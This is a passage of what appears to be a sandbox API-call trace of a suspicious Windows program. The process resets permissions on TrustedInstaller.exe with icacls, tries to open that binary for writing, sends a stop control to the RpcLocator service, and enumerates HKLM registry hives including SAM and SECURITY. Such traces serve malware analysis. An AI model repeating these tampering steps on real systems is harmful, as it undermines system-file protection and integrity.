dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fbc0 | out: lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\servicing\\TrustedInstaller.exe /reset", lpProcessInformation=0x18fbc0*(hProcess=0x15c, hThread=0x164, dwProcessId=0x36c, dwThreadId=0x61c)) returned 1 [0257.838] NtClose (Handle=0x164) returned 0x0 [0257.838] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e6e578) returned 1 [0257.838] NtClose (Handle=0x160) returned 0x0 [0257.838] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0x2710) returned 0x0 [0257.949] NtClose (Handle=0x15c) returned 0x0 [0257.949] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0257.949] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.949] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e8c8) returned 1 [0257.949] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0257.949] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0257.949] GetLastError () returned 0x5 [0257.949] CryptAcquireContextW (in: phProv=0x18fc2c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc2c*=0x5d3ac0) returned 1 [0257.950] CryptGenRandom (in: hProv=0x5d3ac0, dwLen=0x4, pbBuffer=0x18fc40 | out: pbBuffer=0x18fc40) returned 1 [0257.950] CryptReleaseContext (hProv=0x5d3ac0, dwFlags=0x0) returned 1 [0257.950] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="RpcLocator", dwDesiredAccess=0x20) returned 0x5d6df8 [0257.950] ControlService (in: hService=0x5d6df8, dwControl=0x1, lpServiceStatus=0x18fb90 | out: lpServiceStatus=0x18fb90*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0257.951] GetLastError () returned 0x426 [0257.951] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0257.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0257.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de43c0 [0257.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e8c8 [0257.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x280) returned 0x1dd29e0 [0257.951] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0257.951] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0257.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0257.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x1de4720, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0257.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.951] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.951] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.951] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.951] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0257.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x1de47b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0257.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.952] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.952] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.952] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.952] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SAM") returned 0x0 [0257.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0257.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x1de4720, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0257.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.952] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.952] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.952] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.952] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0257.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x1de47b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0257.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.952] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.952] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.952] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.952] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0257.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1de4720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0257.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.952] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.952] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.953] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.953] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0257.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0257.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x1de47b0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0257.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.953] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.953] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.953] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.953] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x160) returned 0x0 [0257.953] RegCloseKey (hKey=0x80000002) returned 0x0 [0257.953] RegEnumKeyW (in: hKey=0x160, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0257.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0257.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x1de4720, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0257.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.953] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.953] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.953] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.953] RegEnumKeyW (in: hKey=0x160, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0257.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0257.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x1de47b0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0257.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.953] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.953] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.953] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.954] RegEnumKeyW (in: hKey=0x160, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0257.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0257.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x1de4720, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0257.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.954] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.954] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.954] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.954] RegEnumKeyW (in: hKey=0x160, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="RNG") returned 0x0 [0257.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0257.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x1de47b0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0257.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.954] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.954] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.954] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.954] RegEnumKeyW (in: hKey=0x160, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Select") returned 0x0 [0257.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0257.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x1de4720, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0257.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.954] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.954] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.954] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.954] RegEnumKeyW (in: hKey=0x160, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Setup") returned 0x0 [0257.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0257.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x1de47b0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0257.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.955] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.955] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.955] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.955] RegEnumKeyW (in: hKey=0x160, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Software") returned 0x0 [0257.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1de4720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0257.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.955] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.955] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.955] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.955] RegEnumKeyW (in: hKey=0x160, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="WPA") returned 0x0 [0257.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0257.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x1de47b0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0257.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.955] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.955] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.955] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.955] RegEnumKeyW (in: hKey=0x160, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0257.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0257.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x1de4720, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0257.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.955] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.955] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.955] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.955] RegOpenKeyExW (in: hKey=0x160, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x15c) returned 0x0 [0257.955] RegCloseKey (hKey=0x160) returned 0x0 [0257.956] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Control") returned 0x0 [0257.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x1de47b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0257.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.956] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.956] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.956] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.956] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Enum") returned 0x0 [0257.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0257.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x1de4720, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0257.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.956] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.956] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.956] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.956] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0257.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0257.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x1de47b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0257.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.956] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.956] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.956] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.956] RegEnumKeyW (in: 